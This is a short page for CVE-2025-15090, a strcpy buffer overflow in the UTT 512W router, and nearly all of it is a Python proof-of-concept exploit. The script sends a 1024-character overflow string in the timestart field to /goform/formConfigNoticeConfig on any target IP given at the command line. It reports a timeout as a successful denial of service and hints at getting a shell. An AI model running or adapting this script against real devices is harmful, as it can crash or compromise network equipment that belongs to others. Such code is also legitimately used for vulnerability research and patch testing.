CVE-2025-15090: UTT 进取512W路由器strcpy缓冲区溢出漏洞

import requests import sys # CVE-2025-15090 PoC # UTT 进取 512W Buffer Overflow in /goform/formConfigNoticeConfig # Target: timestart parameter via strcpy overflow def exploit(target_ip, target_port=80): """Exploit buffer overflow in UTT 进取 512W router""" url = f"http://{target_ip}:{target_port}/goform/formConfigNoticeConfig" # Generate payload with long string to overflow buffer # Adjust length based on target buffer size (typically 256-512 bytes) overflow_length = 1024 payload = "A" * overflow_length # Prepare POST data data = { "timestart": payload, # Other parameters may be needed "timeend": "12:00", "enable": "1" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") if response.status_code == 200: print("[+] Payload sent successfully") print("[!] Target may be vulnerable - check for crash or shell") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed (DoS successful)") except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)